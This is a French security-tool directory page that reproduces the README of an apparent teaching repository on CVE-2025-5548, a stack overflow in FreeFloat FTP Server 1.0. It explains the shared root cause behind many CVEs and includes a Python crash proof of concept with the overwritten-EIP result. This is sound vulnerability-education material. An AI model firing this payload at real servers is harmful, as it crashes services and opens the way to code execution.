Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-5548 — Débordement de tampon dans FreeFloat FTP Server 1.0 illustrant comment un gestionnaire non sécurisé unique peut générer plusieurs entrées CVE à travers différentes commandes. | Kitploit
Outils/GitHubGitHub/themalwareguardian/cve-2025-5548
Analyse des VulnérabilitésExploitationRétro-ingénierieShellcodeDébogueursFuzzingTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubthemalwareguardian/cve-2025-5548

CVE-2025-5548

1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Débordement de tampon dans FreeFloat FTP Server 1.0 illustrant comment un gestionnaire non sécurisé unique peut générer plusieurs entrées CVE à travers différentes commandes.

Voir le dépôt

🐞 CVE-2025-5548 : FreeFloat FTP Server 1.0 - Débordement de tampon basé sur la pile

Débordement de tampon dans FreeFloat FTP Server 1.0 illustrant comment un seul gestionnaire non sécurisé peut générer plusieurs entrées CVE sur différentes commandes.




📑 Table des matières

  • Pourquoi ce dépôt existe
  • Pourquoi cette vulnérabilité est intéressante
  • Même bug, plusieurs CVE
  • À propos de la vulnérabilité
  • Déclenchement du crash
  • Exploitation



🎓 Pourquoi ce dépôt existe

Ce dépôt fait partie du matériel que j'utilise lorsque j'enseigne l'exploitation des corruptions mémoire (en plus de mon travail habituel, j'enseigne également dans différentes formations en cybersécurité où j'aide à former la prochaine génération d'ingénieurs en rétro-ingénierie).

CVE-2025-5548 est un cas que j'utilise pour montrer aux étudiants que la recherche de vulnérabilités est une compétence accessible, et non quelque chose de réservé aux chercheurs seniors ayant des années d'expérience. FreeFloat FTP Server 1.0 est une petite application Windows héritée, facile à configurer, facile à exécuter et facile à faire crasher. Le débordement est déclenché via une commande FTP standard, le chemin d'exploitation est un écrasement EIP vanilla, et l'ensemble du processus, du fuzzing au shell fonctionnel, peut être réalisé en une seule session.

Ce cas est également directement lié à ma présentation « The Path That Leads to Your First CVE », dans laquelle j'explique que l'un des points d'entrée les plus réalistes dans la recherche de vulnérabilités pour les débutants consiste à analyser d'anciens logiciels, à comprendre leur fonctionnement interne et à rechercher le type de contrôles de longueur manquants qui produisent exactement cette classe de vulnérabilité. FreeFloat est l'un des exemples que j'utilise pour montrer que trouver et documenter un vrai bug ne nécessite pas des années d'expérience, mais de la curiosité, un débogueur et une approche méthodique.

Ce qui rend ce cas particulièrement efficace pour l'enseignement, c'est la manière dont il s'inscrit dans une leçon plus large sur la façon dont les CVE sont attribuées. Le même gestionnaire d'entrée non sécurisé de FreeFloat produit des débordements sur plusieurs commandes FTP différentes — USER, PASS, NOOP et d'autres — chacune ayant été signalée indépendamment et ayant reçu sa propre entrée CVE. Les étudiants qui consultent la liste des CVE de ce binaire et voient des dizaines d'entrées apprennent rapidement que le nombre de CVE n'est pas équivalent au nombre de vulnérabilités, et que comprendre la cause racine est plus précieux que de cataloguer les symptômes.

Une fois que les étudiants comprennent le processus à travers des cas comme celui-ci, je leur donne un exemple concret de ce qui vient ensuite. Après deux semaines de pratique des débordements de tampon et de la corruption mémoire, le type de vulnérabilité qu'ils sont capables de trouver existe déjà dans de vrais logiciels. Le dépôt suivant documente une vulnérabilité que j'ai trouvée spécifiquement pour montrer aux étudiants le cycle complet — découverte, analyse, documentation et demande de CVE — sur quelque chose d'assez accessible pour être trouvé tôt dans le parcours d'apprentissage, comme CVE-2025-70330.

Ce dépôt fait partie d'une collection plus vaste. Si vous souhaitez vous entraîner à l'exploitation sur un large éventail de techniques, de types de vulnérabilités et d'architectures cibles, jetez un œil au dépôt Binary-Exploitation, où tout ce matériel est organisé et maintenu aux côtés de nombreuses autres CVE, méthodologies et exercices d'exploitation.




💡 Pourquoi cette vulnérabilité est intéressante

Cette vulnérabilité affecte FreeFloat FTP Server 1.0, un très ancien serveur FTP Windows écrit sans les pratiques de sécurité modernes. En 2025, un chercheur a signalé de nombreuses CVE affectant ce même binaire.

Voici quelques exemples :

  • CVE-2025-5667
  • CVE-2025-5548
  • CVE-2025-5220
  • CVE-2025-5075
  • et bien d'autres

Chaque CVE fait référence à une commande FTP différente, mais lorsqu'on analyse le programme par rétro-ingénierie, il devient clair que beaucoup d'entre elles atteignent le même chemin de code vulnérable.

Cela rend ce cas intéressant non seulement comme exemple de débordement de tampon, mais aussi comme démonstration que :

  • Des entrées différentes peuvent déclencher le même bug.
  • Les logiciels hérités peuvent contenir plusieurs gestionnaires non sécurisés.
  • Les entrées CVE ne représentent pas toujours des vulnérabilités complètement différentes.



🔍 Même bug, plusieurs CVE

En analysant le binaire par rétro-ingénierie, on peut observer que toutes les commandes FTP sont traitées par la même fonction de répartition (dispatcher). La chaîne de commande est stockée dans une structure de session, et plusieurs gestionnaires de commandes copient l'entrée utilisateur dans des tampons de taille fixe en utilisant des fonctions non sécurisées telles que strcpy, strcat et memcpy, sans vérifier la longueur des données reçues.

Télécharger l’outil

Pour cette raison, différentes commandes peuvent écraser la pile même si la description de la CVE ne mentionne qu'une seule commande spécifique.

Par exemple, le crash peut être déclenché en utilisant :

root@kitploit:~
NOOP AAAAA...
USER AAAAA...
PASS AAAAA...
HOST AAAAA...
ANYTHING AAAAA...

La seule différence réside dans le nombre d'octets nécessaires pour écraser l'adresse de retour. Cela signifie que de nombreuses CVE signalées pour ce logiciel partagent la même cause racine.




⚠️ À propos de la vulnérabilité

FreeFloat FTP Server traite les commandes reçues sur le port TCP 21 et stocke la chaîne de commande dans une structure de session interne. Ensuite, le gestionnaire de commandes copie les données contrôlées par l'utilisateur dans des tampons de pile locaux sans effectuer de validation appropriée de la longueur.

En analysant le binaire par rétro-ingénierie, on peut observer que plusieurs gestionnaires de commandes utilisent des tampons de taille fixe et des opérations de copie non sécurisées. Une version simplifiée de la logique vulnérable ressemble à ceci :

root@kitploit:~
char buffer[256];

strcpy(buffer, user_input);

Étant donné que le tampon de destination a une taille fixe et que la longueur de l'entrée n'est pas vérifiée, l'envoi d'une chaîne longue amène l'opération de copie à écrire au-delà de la fin du tampon.

À mesure que davantage de données sont écrites, la disposition de la pile se corrompt jusqu'à ce que l'adresse de retour sauvegardée soit écrasée.

Lorsque la fonction retourne, l'exécution saute vers une valeur contrôlée par l'utilisateur, ce qui entraîne un crash. Sous un débogueur, cela se manifeste par le pointeur d'instruction écrasé avec des données contrôlées par l'attaquant.




💥 Déclenchement du crash

Le crash peut être reproduit en envoyant une chaîne longue après une commande FTP valide. Exemple en Python :

root@kitploit:~
import socket

ip = "127.0.0.1"
port = 21

payload = b"A" * 500

s = socket.socket()
s.connect((ip, port))

s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)

s.send(b"PASS anonymous\r\n")
s.recv(1024)

s.send(b"NOOP " + payload + b"\r\n")

s.close()

Lorsqu'il est exécuté sous un débogueur, le crash affiche :

root@kitploit:~
EIP = 41414141

ce qui confirme que les données contrôlées par l'utilisateur écrasent l'adresse de retour.




💣 Exploitation

L'objectif de ce dépôt n'est pas seulement de montrer le crash, mais aussi de démontrer l'ensemble du processus d'exploitation de la vulnérabilité, étape par étape, en utilisant la même méthodologie couramment employée lors du développement d'exploits.

Afin de garder le README principal épuré, les notes d'exploitation détaillées, les scripts et les étapes de débogage sont placés dans le dossier Vulnerability 📂 de ce dépôt.

Vous y trouverez le flux de travail complet utilisé pour exploiter cette CVE, incluant le fuzzing, la découverte de l'offset, l'analyse des caractères interdits (bad characters), la recherche de gadgets et l'exécution du shellcode.